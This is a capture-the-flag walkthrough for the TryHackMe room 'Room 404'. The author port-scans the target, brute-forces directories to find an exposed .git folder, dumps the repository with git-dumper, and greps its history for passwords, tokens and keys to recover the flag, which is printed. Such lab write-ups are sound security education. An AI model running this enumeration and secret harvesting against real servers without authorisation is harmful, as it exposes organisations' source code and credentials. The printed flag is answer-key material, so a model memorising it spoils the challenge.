# Room 404: Recon/Enumeration x Git logs (TryHackMe)

Link to the challenge on TryHackMe: [Room 404](https://tryhackme.com/room/hh-room404-804573bf)

> **🛎️ Concierge Briefing**
> 
> He booked the quiet room. It's not on the floor plan, not in the brochure, not on any door. But port 8080 is wide open, and the rooms it never lists are the ones worth finding.
> 
> Welcome to the Byte Lotus, where the WiFi is open, the app is free, and the concierge already knows your coffee order. You spend these first days as a guest who simply notices things — a room that isn't on the floor plan, packets that leave every night at the same hour, a profile assembled from two breakfasts and a livestream.
> 
> The Byte Lotus guest-experience platform went live in a hurry, and the night-shift developer shipped more than the website.
> 
> **🏖️ TODAY'S ITINERARY**
> 
>  Dump the exposed source code.
> 
>  Find the flag.
> 
> **Web**

```markdown
nmap -p- -sV IP_Address

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy Werkzeug/3.0.1 Python/3.12.3

```

```markdown
curl http://IP_Address:8080
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Byte Lotus &mdash; Stay Noticed</title>
<style>
  :root { --ink:#e8e4d8; --bg:#0c0e0d; --accent:#c8a96a; --muted:#6f7370; }
  * { box-sizing:border-box; margin:0; padding:0; }
  body { background:var(--bg); color:var(--ink); font-family:Georgia,'Times New Roman',serif;
         min-height:100vh; display:flex; flex-direction:column; }
  .bar { display:flex; justify-content:space-between; align-items:center;
         padding:22px 40px; border-bottom:1px solid rgba(200,169,106,.18);
         letter-spacing:.32em; font-size:13px; text-transform:uppercase; color:var(--accent); }
  .bar nav a { margin-left:26px; color:var(--muted); text-decoration:none; }
  .bar nav a:hover { color:var(--accent); }
  main { flex:1; display:flex; flex-direction:column; justify-content:center;
         max-width:720px; margin:0 auto; padding:60px 32px; }
  .lotus { font-size:13px; letter-spacing:.5em; color:var(--accent); text-transform:uppercase; }
  h1 { font-size:54px; font-weight:normal; line-height:1.1; margin:18px 0 28px;
       font-family:'Didot','Bodoni MT',Georgia,serif; }
  p.lead { font-size:18px; line-height:1.8; color:#cfcabb; }
  .cta { margin-top:38px; }
  .cta a { display:inline-block; border:1px solid var(--accent); color:var(--accent);
           padding:13px 28px; text-decoration:none; letter-spacing:.18em; font-size:13px;
           text-transform:uppercase; transition:.2s; }
  .cta a:hover { background:var(--accent); color:var(--bg); }
  footer { padding:20px 40px; border-top:1px solid rgba(200,169,106,.12);
           color:var(--muted); font-size:12px; letter-spacing:.12em; display:flex; justify-content:space-between; }
</style>
</head>
<body>
  <div class="bar">
    <div>&#10048; BYTE&nbsp;LOTUS</div>
    <nav><a href="#">Rooms</a><a href="#">The App</a><a href="#">Concierge</a><a href="#">Stay</a></nav>
  </div>
  <main>
    <div class="lotus">&mdash; arrivals &mdash;</div>
    <h1>Byte&nbsp;Lotus</h1>
    <p class="lead">
      At BYTE LOTUS Hotel, we believe comfort begins before you arrive. Our
      intelligent guest experience platform helps us anticipate your needs,
      streamline your stay, and ensure every moment feels effortless.
    </p>
    <div class="cta"><a href="/booking">Reserve a stay</a></div>
  </main>
  <footer>
    <span>BYTE LOTUS HOSPITALITY GROUP</span>
    <span>guest experience platform &middot; build staging</span>
  </footer>
</body>
</html>

```

`gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt`

```markdown
gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/.git/HEAD            (Status: 200) [Size: 21]
```

```markdown
curl http://IP_Address:8080/.git/HEAD
ref: refs/heads/main
```

```markdown
pip install git-dumper --break-system-packages
git-dumper http://IP_Address:8080/.git/ /root/byte-lotus-git
```

```markdown
cd /root/byte-lotus-git
root@ip-10-113-105-198:~/byte-lotus-git# git log --all --oneline
0f13550 (HEAD -> main) initial Byte Lotus guest platform
root@ip-10-113-105-198:~/byte-lotus-git# git log --all -p | grep -i -E "password|secret|key|token|flag"
+Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_fredacted}
```
